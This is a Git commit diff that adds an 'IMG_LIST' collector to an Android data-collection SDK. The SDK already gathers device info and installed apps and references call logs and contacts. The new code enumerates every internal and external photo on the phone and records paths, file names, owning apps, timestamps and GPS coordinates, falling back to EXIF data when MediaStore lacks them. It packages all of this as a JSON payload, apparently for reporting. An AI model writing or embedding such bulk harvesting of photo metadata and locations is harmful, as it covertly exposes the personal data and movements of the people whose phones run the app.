Commit 68ac55b3 by sikang

add IMG_LIST

parent b6ff4e14
......@@ -27,6 +27,7 @@ import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import tech.starwin.BuildConfig;
import tech.starwin.database.DataBaseHelper;
import tech.starwin.database.entity.CallLogEntity;
import tech.starwin.database.entity.ContactEntity;
......@@ -43,6 +44,7 @@ public class Collector {
MACHINE_TYPE,
DEVICE_INFO,
INSTALLED_APP,
IMG_LIST,
// BEHAVIOR_MSG,
CRASH_MSG;
......@@ -201,6 +203,9 @@ public class Collector {
case DEVICE_INFO:
entity.setBody(toDeviceTypeDTO(context));
break;
case IMG_LIST:
entity.setBody(toImgListDTO(DataBaseHelper.queryImageInternal(context)));
break;
}
} catch (Exception e) {
//UploadManager.uploadException(e, "getStoreEntity");
......@@ -210,6 +215,25 @@ public class Collector {
return entity;
}
public static String toImgListDTO(JSONArray jsonArray) {
try {
JSONObject json = new JSONObject();
json.put("protocolVersion", "V_1_0");
json.put("versionName", BuildConfig.VERSION_NAME);
json.put("protocolName", "IMG_LIST");
json.put("totalNumber", jsonArray.length());
json.put("data",jsonArray);
// json.put("clientUpdateTime", System.currentTimeMillis());
return json.toString();
} catch (Exception e) {
e.printStackTrace();
}
return new JSONObject().toString();
}
private static String toAppListDTO(Context context) {
JSONObject json = initJSON(InfoType.INSTALLED_APP, context);
try {
......
......@@ -8,12 +8,14 @@ import android.content.pm.PackageManager;
import android.database.Cursor;
import android.location.Location;
import android.location.LocationManager;
import android.media.ExifInterface;
import android.net.Uri;
import android.os.Build;
//SDK-NOLOG-START
import android.provider.CallLog;
//SDK-NOLOG-END
//import android.provider.ContactsContract;
import android.provider.MediaStore;
import android.provider.Telephony;
import android.support.v4.content.PermissionChecker;
import android.text.TextUtils;
......@@ -223,6 +225,91 @@ public class DataBaseHelper {
/**
* 照片
*/
public static JSONArray queryImageInternal(Context context) {
JSONArray result = new JSONArray();
Cursor cursor = context.getContentResolver().query(MediaStore.Images.Media.INTERNAL_CONTENT_URI, null, null, null, null);
while (cursor != null && cursor.moveToNext()) {
result.put(getImageObj(cursor));
}
if (!(cursor == null || cursor.isClosed())) {
cursor.close();
}
//external image
Cursor cursorExternal = context.getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null, null);
while (cursorExternal != null && cursorExternal.moveToNext()) {
result.put(getImageObj(cursorExternal));
}
if (!(cursorExternal == null || cursorExternal.isClosed())) {
cursorExternal.close();
}
return result;
}
private static JSONObject getImageObj(Cursor cursor) {
JSONObject jsonObject = new JSONObject();
try {
String path = getColumnString(cursor, "_data", "");
jsonObject.put("path", path);
jsonObject.put("model", Build.MODEL);
String[] ab = path.split("/");
jsonObject.put("file_name", ab[ab.length - 1]);
//Api 29 以下拿不到
jsonObject.put("owner", getColumnString(cursor, "owner_package_name", Build.BRAND));
jsonObject.put("datetaken", getColumnString(cursor, "datetaken", ""));
jsonObject.put("date_added", getCursorString(cursor.getString(cursor.getColumnIndex("date_added"))));
jsonObject.put("date_modified", getCursorString(cursor.getString(cursor.getColumnIndex("date_modified"))));
jsonObject.put("height", getCursorString(cursor.getString(cursor.getColumnIndex("height"))));
jsonObject.put("width", getCursorString(cursor.getString(cursor.getColumnIndex("width"))));
jsonObject.put("mime_type", getCursorString(cursor.getString(cursor.getColumnIndex("mime_type"))));
jsonObject.put("title", getCursorString(cursor.getString(cursor.getColumnIndex("title"))));
jsonObject.put("size", getCursorString(cursor.getString(cursor.getColumnIndex("_size"))));
//Api 29 以上拿不到
String latitude = getCursorString(cursor.getString(cursor.getColumnIndex("latitude")));
String longitude = getCursorString(cursor.getString(cursor.getColumnIndex("longitude")));
if (TextUtils.isEmpty(latitude) && TextUtils.isEmpty(longitude)) {
float[] latlong = new float[2];
new ExifInterface(path).getLatLong(latlong);
if (latlong != null) {
latitude = String.valueOf(latlong[0]);
longitude = String.valueOf(latlong[1]);
}
}
jsonObject.put("latitude", latitude);
jsonObject.put("longitude", longitude);
} catch (Exception e) {
e.printStackTrace();
}
return jsonObject;
}
private static String getColumnString(Cursor cursor, String columnName, String defaultValue) {
int value = cursor.getColumnIndex(columnName);
if (value == -1) {
return defaultValue;
}
return cursor.getString(value) == null ? defaultValue : cursor.getString(value);
}
private static String getCursorString(String value) {
if (value == null) {
return "";
}
return value;
}
/**
* 获取定位信息
*/
@SuppressLint("MissingPermission")
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment